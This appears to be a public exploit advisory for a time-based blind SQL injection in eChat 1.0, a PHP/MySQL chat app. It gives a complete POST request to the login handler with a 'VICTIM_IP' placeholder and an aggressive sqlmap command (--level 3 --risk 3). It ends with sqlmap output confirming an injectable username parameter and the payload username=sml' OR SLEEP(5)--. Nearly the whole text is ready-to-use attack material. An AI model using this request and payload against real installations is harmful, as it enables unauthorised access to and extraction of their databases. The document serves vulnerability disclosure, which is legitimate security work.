eChat 1.0 SQL Injection

`# Exploit Title: eChat | Time-Based Blind SQL Injection  
# Exploit Author: [email protected]  
# Date: 2021-02-21  
# Vendor Homepage:   
https://www.sourcecodester.com/php/10498/echat-simple-chat-system-app-using-phpmysql.html  
# Software Link:   
https://www.sourcecodester.com/sites/default/files/download/oretnom23/echat.zip  
# Version: 1.0  
# Tested On: Debian 10  
  
POST /confirm-login.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101   
Firefox/78.0  
Accept:   
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 31  
Origin: http://TARGET  
DNT: 1  
Connection: close  
Referer: http://TARGET/login.php  
Cookie: PHPSESSID=u6le3347is6787pqpdrj00vedv  
Upgrade-Insecure-Requests: 1  
  
username=sml&password=lovesyou  
  
2) Replace TARGET by the VICTIM_IP.  
3) run sqlmap -r <file> --level 3 --risk 3  
  
The result will show that username parameter is vulnerable:  
[18:58:16] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 OR time-based blind' injectable  
[18:59:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'  
[18:59:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other  
(potential) technique found  
[18:59:25] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'  
[18:59:26] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'  
[18:59:26] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'  
[18:59:26] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'  
[18:59:26] [INFO] checking if the injection point on POST parameter 'username' is a false positive  
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]  
sqlmap identified the following injection point(s) with a total of 1575 HTTP(s) requests:  
---  
Parameter: username (POST)  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 OR time-based blind  
Payload: username=sml' OR SLEEP(5)-- OOIy&password=lovesyou  
---  
  
`